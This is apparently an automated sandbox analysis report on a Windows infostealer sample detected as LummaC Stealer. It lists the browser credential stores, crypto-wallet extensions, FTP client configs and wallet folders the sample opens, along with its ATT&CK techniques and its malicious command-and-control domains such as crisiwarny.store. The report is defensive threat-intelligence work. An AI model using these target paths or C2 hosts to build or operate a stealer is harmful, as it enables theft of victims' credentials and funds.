Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2679820226.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2660808413.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2514190355.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6632, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	49%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
crisiwarny.store	14%	Virustotal		Browse
presticitpo.store	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	172.67.170.64	true	true	14%, Virustotal, Browse	unknown
presticitpo.store	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://crisiwarny.store/api)	file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apire1	file.exe, 00000000.00000003.3334462332.0000000000A46000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/Y	file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiT	file.exe, 00000000.00000003.3314699346.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719595044.00000000009F8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apint	file.exe, 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/api	file.exe, 00000000.00000002.3342585795.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://crisiwarny.store:443/apihhhv.default-release/key4.dbPK	file.exe, 00000000.00000002.3342585795.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiF	file.exe, 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/n	file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719525841.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3314731310.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719669042.0000000000A3A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://crisiwarny.store/p	file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
